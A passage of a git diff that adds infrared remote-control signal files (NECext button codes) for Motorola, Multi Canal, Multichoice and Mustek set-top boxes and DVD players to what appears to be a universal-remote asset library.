NECext +address: 00 00 00 00 +command: 71 00 00 00 +# +name: grey +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 72 00 00 00 +# +name: ojo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D8 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: FB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir new file mode 100644 index 000000000..61ec5a0c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: bypass +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: lock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: day+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: day- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir new file mode 100644 index 000000000..e924ebe12 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: function-a +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: function-a_triangle +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: ppv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: vod +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: dvr_play +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: dvr_stop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: dvr_fastforward +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: dvr_rewind +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: dvr_pause +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: pip_on-off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: pip_swap +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: pip_move +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: pip_ch-plus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: pip_ch-minus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: function-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: function-b_square +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: function-c +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: function-c_circle +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: dvr_record +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: arrow_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: arrow_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: arrow_left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: arrow_right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: day_plus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: day_minus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: dvr_replay +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: dvr_list +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: dvr_livetv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir new file mode 100644 index 000000000..b89dd14cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_1_symbols +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_2_abc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_3_def +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_4_ghi +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_5_jkl +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_6_mno +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_7_pqrs +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_8_tuv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_9_wxyz +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: input_a-v +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: heart +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: heart_favorites +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: function-a +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: function-a_yellow_triangle +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: star_ondemand +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: dvr_play +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: dvr_stop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: dvr_fastforward +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: dvr_rewind +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: dvr_pause +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: change +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: function-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: function-b_blue_square +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: function-c +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: function-c_red_circle +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: function-d +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: function-d_green_diamond +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: dvr_record +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: arrow_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: arrow_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: arrow_left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: arrow_right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: dvr_previous +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: dvr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: fiostv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: dvr_next +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: pound +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: pound_aspect +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: plus_widgets +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: widgets +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_KPASTERISK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: asterisk_cc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir new file mode 100644 index 000000000..737aba628 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 09 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 0F 00 00 00 +# +name: CHPG+ +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 20 00 00 00 +# +name: CHPG- +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 37 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 38 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 39 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 44 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 4C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 4D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 54 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 5C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 83 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 86 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 23 40 00 00 +command: 9E 00 00 00 +# +name: TVVIDEO +type: parsed +protocol: NECext +address: 23 40 00 00 +command: A8 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 23 40 00 00 +command: CC 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 23 40 00 00 +command: E1 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 23 40 00 00 +command: F0 00 00 00 +# +name: gointeractive +type: parsed +protocol: NECext +address: 23 40 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir b/assets/resources/infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir new file mode 100644 index 000000000..e10eb73cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 84 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 85 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 86 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 87 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 88 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 89 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 8A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 8B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 8D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 8E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 8F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 91 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 92 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 93 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 95 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 96 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 85 7B 00 00 +command: 97 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir new file mode 100644 index 000000000..812497ffc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 20 00 00 00 +# +name: progdn +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 22 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 24 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 25 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 +# +name: information +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 31 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir b/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir new file mode 100644 index 000000000..b052ad1de --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 02 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 03 00 00 00 +# +name: Volume +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 04 00 00 00 +# 